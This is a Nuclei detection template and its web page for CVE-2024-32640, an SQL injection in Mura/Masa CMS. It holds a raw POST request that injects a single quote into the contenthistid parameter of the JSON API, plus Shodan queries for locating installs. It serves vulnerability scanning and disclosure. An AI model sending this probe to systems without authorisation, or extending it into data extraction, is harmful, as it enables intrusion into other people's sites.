Mura/Masa CMS - SQL Injection

ID: CVE-2024-32640

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,sqli,cms,masa,masacms

Description

The Mura/Masa CMS is vulnerable to SQL Injection.

YAML Source

id: CVE-2024-32640

info:
  name: Mura/Masa CMS - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Mura/Masa CMS is vulnerable to SQL Injection.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Apply the vendor-supplied patch or update to a secure version.
  reference:
    - https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640
  metadata:
    verified: true
    max-request: 1
    vendor: masacms
    product: masacms
    shodan-query:
      - 'Generator: Masa CMS'
      - "generator: masa cms"
  tags: cve,cve2024,sqli,cms,masa,masacms

http:
  - raw:
      - |
        POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        object=displayregion&contenthistid=x\'&previewid=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "Unhandled Exception")'
          - 'contains_all(header,"cfid","cftoken")'
        condition: and
# digest: 4a0a00473045022100cb103214ad3b078264761ba3ae7c1a8e2d2f208cf95f6b8d949de31387018362022036e47b3666fa0ebc5290d5ccfeec4fea6a485418057cd2851bd5bede5d21cda6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-32640.yaml"

View on Github